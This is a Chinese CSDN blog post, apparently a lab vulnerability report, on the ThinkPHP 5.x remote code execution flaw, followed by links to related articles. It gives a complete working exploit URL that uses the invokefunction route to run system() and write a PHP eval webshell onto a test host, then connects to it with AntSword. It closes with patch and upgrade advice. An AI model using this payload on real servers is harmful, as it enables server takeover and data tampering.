#Thinkphp5.x漏洞

最新推荐文章于 2024-08-14 22:33:34 发布
最新推荐文章于 2024-08-14 22:33:34 发布
阅读量351 收藏 1
点赞数 1
文章标签： 安全 thinkphp 网络安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/bmxch/article/details/112907814
版权
本文详细介绍了针对Linux系统中Thinkphp5.x版本的一个常见漏洞，该漏洞允许攻击者通过特定URL执行系统命令。攻击者可能利用此漏洞上传一句话木马，获取靶机的root权限。修复建议包括应用官方发布的补丁和升级Thinkphp框架。对于存在此类漏洞的系统，应及时采取措施防止恶意攻击。
摘要由CSDN通过智能技术生成

#Thinkphp5.x漏洞

系统类型:linux
漏洞类型：Thinkphp5.x漏洞
漏洞URL：http://192.168.1.246/public/

漏洞详情：
已知真实IP是192.168.1.246，扫后台
在这里插入图片描述

然后扫这两个网页是否存在漏洞

上传一句话木马到靶机
代码：
http://192.168.1.246/public/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%22%3C?php%20@eval($_POST[%27123456%27]);?%3E%22%20%3E/var/www/html/public/123.php
在这里插入图片描述

再用蚁剑连接靶机
在这里插入图片描述

漏洞危害：

恶意攻击者可以通过一句话木马对靶机进行攻击，他们可以越权获得靶机的root权限，对文件进行篡改。

修复建议：

1.建议在靶机上添上Thinkphp v5.0.x 补丁,Thinkphp v5.1.x 补丁.
Thinkphp v5.0.x 补丁 下载地址: https://github.com/top-think/framework/com…
Thinkphp v5.1.x 补丁 下载地址: https://github.com/top-think/framework/com…

2.将靶机Thinkphp框架升级

白帽小丑
关注
ThinkPHP v5.x命令执行利用工具（可getshell）
11-19
在这个场景中，"ThinkPHP v5.x命令执行利用工具（可getshell）"指的是一个专门针对ThinkPHP v5.x版本的安全漏洞进行利用的工具，该工具能够使得攻击者通过命令执行漏洞获取服务器的shell访问权限。 命令执行漏洞...
Thinkphp常见漏洞总结
weixin_46622976的博客
07-12 5949
ThinkPHP漏洞整理
ThinkPHP 系列漏洞
SHELLCODE_8BIT的博客
11-18 3799
所有 sql 注入漏洞均在 library/think/db/Builder.php 文件中。1、thinkphp5 SQL注入1漏洞影响版本： 5.0.13
ThinkPHP5漏洞分析之代码执行
最新发布
duoba_an的博客
08-14 836
本次漏洞存在于的缓存类中。该类会将缓存数据通过序列化的方式，直接存储在文件中，攻击者通过精心构造的，即可将写入缓存文件。缓存文件的名字和目录均可预测出来，一旦缓存目录可访问或结合任意文件包含漏洞，即可触发。漏洞影响版本：。
框架、组件漏洞系列5：tthinkPhp漏洞汇总
W0ngk，一个安全菜鸡，一直在模仿，尚未有超越。
01-07 4000
一、ThinkPHP简介 基础介绍： ThinkPHP是为了简化企业级应用开发和敏捷WEB应用开发而诞生的。最早诞生于2006年初，2007年元旦正式更名为ThinkPHP，并且遵循Apache2开源协议发布。ThinkPHP从诞生以来一直秉承简洁实用的设计原则，在保持出色的性能和至简的代码的同时，也注重易用性。并且拥有众多原创功能和特性，在社区团队的积极参与下，在易用性、扩展性和性能方面不断优化和改进。 近期发布历史： 2015年12月11日，ThinkPHP 5.0 Beta 发布； 2017年02.
thinkphp5框架漏洞
m0_74196038的博客
03-07 1467
ThinkPHP是一个免费开源的，快速、简单的面向对象的轻量级PHP开发框架，是为了敏捷WEB应用开发和简化企业应用开发而诞生的这个poc是通过post方法提交的，然后url当中还是要提交?s=captcha特殊url编码之后的POC。
Thinkphp5 RCE漏洞
Sentiment的博客
05-21 7222
影响版本 5.0.0<=ThinkPHP5<=5.0.23 、5.1.0<=ThinkPHP<=5.1.30 不同版本payload不同，且5.13版本后还与debug模式有关 这里跟着feng师傅复现的，所以用的也是5.0.22 ThinkPHP5.0.22完整版 - ThinkPHP框架 5.0.22debug模式RCE 这波属实下饭了，开启debug模式后payload一直没打通，后来发现改成其他版本的配置文件了.........
ThinkPHP3.2.x RCE漏洞通报1
08-03
【ThinkPHP3.2.x RCE漏洞通报】中提到的安全问题涉及到ThinkPHP 3.2版本的一个严重远程代码执行漏洞。这个漏洞源于框架中的`assign`方法，该方法用于将变量传递给模板进行渲染。当攻击者能够控制`assign`方法的第一...
Thinkphp 5.0.x_5.1.x 变量覆盖 RCE 漏洞分析1
08-03
### ThinkPHP 5.0.x/5.1.x 变量覆盖远程代码执行（RCE）漏洞分析 #### 漏洞概述 ThinkPHP 5.0.x 和 5.1.x 版本中存在一个变量覆盖导致的远程代码执行（RCE）漏洞。该漏洞利用者可以通过对特定HTTP请求参数的精心...
ThinkPHP代码执行漏洞
Massimo__JAVA的博客
07-01 2058
特征：被检测系统报错页面出现“十年磨一剑-为API开发设计的高性能框架”，则判定该系统使用ThinkPHP5开发。
thinkphp5 漏洞原理分析合集
m0_46689007的博客
11-30 7344
跟进Request.php中method()，Config::get(‘var_method’)提权var_method中的值，var_method的又为_method，这个_method可控，我们传入’__construct’，到$this->{$this->method}($_POST);因为执行的是get方法，跟进get()方法，此方法为读取配置文件，所以我们构造的参数进入get()中就会控制读取内容，后面返回self::$config[$range][$name[0]][$name[1]]。
ThinkPHP5系列远程代码执行漏洞复现（详细）
weixin_53730939的博客
03-20 8860
ThinkPHP5系列远程代码执行漏洞复现（详细）
常见框架漏洞
Hacker0830的博客
04-13 2382
原理：当用户勾选RememberMe并登录成功，Shiro会将用户的cookie值序列化，AES加密，接着base64编码后存储在cookie的rememberMe字段中，服务端收到登录请求后，会对rememberMe的cookie值进行base64解码，接着进行AES解密，然后反序列化。S2-059:攻击者可以通过构造恶意的OGNL表达式，并将其设置到可被外部输入进行修改，且会执行OGNL表达式的Struts2标签的属性值，引发OGNL表达式解析，最终造成远程代码执行的影响。
Thinkphp常见漏洞利用
未完成的歌~的博客
04-14 3949
ThinkPHP是一个开源，快速、简单的轻量级国产PHP开发框架，诞生于2006年初，原名FCS，2007年元旦正式更名为ThinkPHP。使用面向对象的开发结构和MVC模式，融合了Struts的思想和TagLib（标签库）、RoR的ORM映射和ActiveRecord模式。ThinkPHP可以支持windows/Unix/Linux等服务器环境，正式版需要PHP 5.0以上版本，支持MySql、PgSQL、Sqlite多种数据库以及PDO扩展，是一款跨平台，跨版本以及简单易用的PHP框架。
Thinkphp框架漏洞---＞5，2024年最新网络安全进阶
2401_83947105的博客
04-14 1262
在结束之际，我想重申的是，学习并非如攀登险峻高峰，而是如滴水穿石般的持久累积。尤其当我们步入工作岗位之后，持之以恒的学习变得愈发不易，如同在茫茫大海中独自划舟，稍有松懈便可能被巨浪吞噬。然而，对于我们程序员而言，学习是生存之本，是我们在激烈市场竞争中立于不败之地的关键。一旦停止学习，我们便如同逆水行舟，不进则退，终将被时代的洪流所淘汰。因此，不断汲取新知识，不仅是对自己的提升，更是对自己的一份珍贵投资。让我们不断磨砺自己，与时代共同进步，书写属于我们的辉煌篇章。需要完整版PDF学习资源私我。
Think PHP 5 RCE漏洞复现及排查
dayouzi的博客
08-11 2443
ThinkPHP是一款运用极广的PHP开发框架。其漏洞点是由于ThinkPHP框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞。
ThinkPHP漏洞详解（自学）
m0_64481831的博客
03-01 2964
Thinkphp是一个快速、兼容而且简单的轻量级PHP开发框架。ThinkPHP可以支持windows/Unix/Linux等服务器环境，正式版需要PHP 5.0以上版本，支持MySql、PgSQL、Sqlite多种数据库以及PDO扩展，是一款跨平台，跨版本以及简单易用的PHP框架。Thinkphp发展至今，主要有2.x、3.x、5.x、6.x系列，其中2.x和3.x系列官方已停止维护，5.x系列是目前使用最多的一个系列，而3.x系列比较多的老用户。
ThinkPHP框架漏洞总结
weixin_42345596的博客
08-25 3884
Thinkphp简介 ThinkPHP是为了简化企业级应用开发和敏捷WEB应用开发而诞生的，是一个快速、兼容而且简单的轻量级国产PHP开发框架，诞生于2006年初，原名FCS，2007年元旦正式更名为ThinkPHP，遵循Apache2开源协议发布，从Struts结构移植过来并做了改进和完善，同时也借鉴了国外很多优秀的框架和模式，使用面向对象的开发结构和MVC模式，融合了Struts的思想和TagLib（标签库）、RoR的ORM映射和ActiveRecord模式。 ThinkPHP可以支持windows/U
thinkphp5.x 漏洞 修复
10-30
修复ThinkPHP 5.x漏洞可以从以下几个方面入手： 1. 更新最新版本：保持框架的版本更新是修复漏洞的首要措施。ThinkPHP团队会不断发布更新版本来修复漏洞和增加新功能，因此及时更新到最新版本是必要的。可以在官方...
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

白帽小丑

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值